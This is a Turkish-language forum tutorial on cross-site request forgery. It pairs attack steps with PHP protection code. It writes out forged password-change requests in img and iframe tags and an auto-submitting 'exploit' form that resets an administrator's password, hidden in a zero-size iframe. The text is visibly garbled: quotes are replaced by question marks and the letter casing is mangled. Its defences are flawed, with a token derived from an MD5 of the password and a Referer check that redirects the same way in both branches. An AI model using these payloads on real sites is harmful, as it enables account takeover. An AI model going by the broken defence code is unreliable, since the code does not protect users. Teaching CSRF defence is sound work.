CSRF-XSRF Nedir, Tespiti, Uygulanması Ve Korunma Yolları

Kurtlar Vadisi Resmi Web sitesinin hacklenmesine ve Youtube gibi büyük sistemlerde bulunan zamanenin popüler açığından korunma yolları.

Cross Site Request Forgery (Diğer Adlarıyla Xsrf, Csrf, Ve Cross Site Reference Forgery) Browserlerın Javascript Çalıştırma Desteğiyle Kişilere İstenilenin Dışında Servera Komut Yollanmasını Sağlayan Kodlardır. Sitemiz Veya Sistemimiz Bu Komutlar İçin Genel Olarak Url Lerden Yararlanır.


Https://Www.Domain.Com/Management/Change_Password.Php?New_Pass=Scriptkiddie&Verify_Pass=Scriptkiddie&Submited=1



Biz de Bunu Bildiğimiz İçin Bundan Yararlanıcaz Veya Formlar Oluşturarak İşlemimizi Gerçekleştireceğiz. Zaten Amacımız da Bu İşlemleri Gerçekleştirebilecek Yetkiye Sahip Kişileri Oturum Açmış Durumdayken Kullanarak Onlar Yerine Kendi Kodlarımızı Güvenilir Kodlarmış Gibi Kullanıcıyı Kullanarak Göndermektir.
Ve Bu Saldırıları Html Veya Javascript Kodları Kullanarak İşlemesini Sağlayabiliriz.


<İmg Src="Https://Www.Domain.Com/Management/Change_Password.Php?New_Pass=Scriptkiddie&Verify_Pass=Scriptkiddie&Submited=1">



Saldırı Şekilleri 1 :

Saldırganımız Önceden Saldırı İçin Hazırladığı Sitemizi Kurbana Yollar Kurban Gezerken Kurbanın Domain Sitesinde İşlem Yapması İçin Ya Bir Teşvikte Bulunabilir Saldırganımız, Online Olduğu Bir Zamanı Seçebilir Ya Da Kurbanın İşi Çıkıp Girebilir Girdiği Anda Online Olduğu İçin Yani Çevirim İçi Sitenin Kod Kısmına Yerleştirilmiş Olan


<img Src="Https://Www.Domain.Com/Management/Change_Password.Php New_Pass=Scriptkiddie&Verify_Pass=Scriptkiddie&Submited=1"> , <İframe Src="Https://Www.Domain.Com/Management/Change_Password.Php?New_Pass=Scriptkiddie&Verify_Pass=Scriptkiddie&Submited=1">



Gibi Html Kodları Veya Formlarla (Javascript İle) Saldırganımız Kendi Adına Kişinin Servera Kodları Yollamasını Sağlar.

*** Örneğin Hedef Sitenizin Kaynağına Baktığınızda Session (Oturum) veya


<İnput Type="Hidden">

<İnput Type="Hidden" Name="Token" Value="".$_Sessıon["Token"].?" />



Kodları İle Korunmamışsa Csrf Olma Olasılığı Yüksektir.Tabiki Değişik Korunma Yöntemleride Vardır Fakat Ben Dilimin Döndüğünce Anlatmaya Çalışacağım Sizlere.

Panelimizde Bulunan Bir Csrf İle Saldırganın Neler Yapabileceğini Gösterim.

Exploit Code :


<İnput Type=?Password? Name=?Pass? Class=?Textinput? Value=?">

<İnput Type=?Password? Name=?Pass_Rep? Class=?Textinput? Value=?">

<İnput Type=?Hidden? Name=?Uaction? Value=?Update_Pass?>

<İnput Type=?Hidden? Name=?Submit? Value=?Update Password?>



Panelimizde Bulunan Kodlar Bunlar Olsun Ve Düzenleyelim Hemen Javascript Kodları İle Ve Html Olarak Kaydedelim. Hedef Kişiye İster Link Olarak İsterse Bir Site Arka Sayfasında ( İframe ) Çalıştırarak Adminin Yeni Şifresini Belirleyebilirsiniz.

Exploitimizin Düzenli Hali Şöle Olucak :


Function Scriptkiddie(){

Document.Forms[0].Submit();

}



<İnput Type=?Password? Name=?Pass? Class=?Textinput? Value=?Yeni Şifre Buraya?>

<İnput Type=?Password? Name=?Pass_Rep? Class=?Textinput? Value=?Yeni Şifre Buraya?>

<İnput Type=?Hidden? Name=?Uaction? Value=?Update_Pass?>

<İnput Type=?Hidden? Name=?Submit? Value=?Update Password?>



Saldırı Yapmak İsteyen Şahıs Sizlere İframe Kodları İle Yedirmeyede Çalışır. Nasıl Mı?

Exploiti Hedef. Html Adına Kayıt Eder Ve Kendi Sitesi Yada Senin İlgi Duyacağın Bir Sİtenin Ftp?sine Atar Ve Ana Sayfasından İframe Kodu İle Çağırır Sen Tıkladığında Farkında Olmadan Baktığın Ana Sayfanın Arkasındaki Kodlar Çoktan Çalışmış Olacaktır.


<iframe Src="Hedef.Html" height="0" width="0" Frameborder="0">



Ana Sayfadan Hedef. Html'yi Çağırmıştır Ama Arka Planda?

Bunun Gibi Mesela :)

*** Csrf (Xsrf)?Den Korunma Yöntemleri :

$_Post Token Koruması

Bunu Sizlere Adım Adım Anlatmam Daha Mantıklı Ve De Açıklayıcı Geldiği İçin Böyle Anlatacağım.

1. Adım:

Bu Kodu Tüm Kodlarından Sonra Echo() İçerisinde Eklemeniz Önemlidir:

Code:


<İnput Type=?Hidden? Name=?Token? Value=?".$_Sessıon["Token"].?" />



2. Adım:

Bu Kodu Config Dosyanıza Ekleyin

Code:


İf (İsset($_User["İd"])) { // Your Function To Check İf A User İs Logged İn

İf (Empty($_Sessıon["Token"]) || !İsset($_Sessıon["Token"])) { // İf There İs No Token Set

$_Sessıon["Token"] = Strrev(Md5($_User["Password"])); //Set A Token With A Reverse String And Md5 Encryption Of The User?s Password

}

İf (Csrf_Protected != False) { // İf You Did Not Define Csrf_Protected As False

İf ($_Post) { // İf There İs A Form Present

İf ($_Post["Token"] != $_Sessıon["Token"]) { // İf The İnput Token Does Not Equal The Session Token

Header(?Location: /İndex.Php?); // Redirect To İndex

Die(); // Stops All $_Post Data From Being Sent

}

}

}

}


3. Adım :

Bu Kodu Da Tüm İnclude İle Config Dosyalarını Çeken Php Dosyalarına Ekleyiniz
Code:

Define(?Csrf_Protected?, False);

4.Http_Referer İle Engelleme:

Yani Sizin İstemediğiniz Url?den Gelen İstekleri Red Ederek Bu Kodları Yollayan Kişiyi Farklı Bir Sayfaya Yönlendirme İşlemi İle Csrf Yöntemlerini Engelleme Tekniğidir..

Aşağıdaki Kodlarla Sağlayabiliriz Örneğin:


İf (Strstr($_Server["Http_Referer"],? Http://Www.Google.Com ?)) {

Header (?Location: Http://Www.Scriptkiddie.Us?);

} Else {

Header (?Location: Http://Www.Scriptkiddie.Us?);

}

?>


Doküman Tamamen Bana Aittir.
  • Etiketler;
Yorum Yaz

Yorum yazabilmek için üye girişi yapmanız gerekiyor!

Sanırım buraya eklemede sorun olmuş, çünkü bazı tırnak işaretlerinin yerine soru işareti gelmiş. Bu dersin düzgün halini ulaştırırsan düzeltebiliriz.
Orjinali; http://www.cyber-security.org.tr/Madde/209/CSRF~XSRF%20Nedir?

Yukarı Git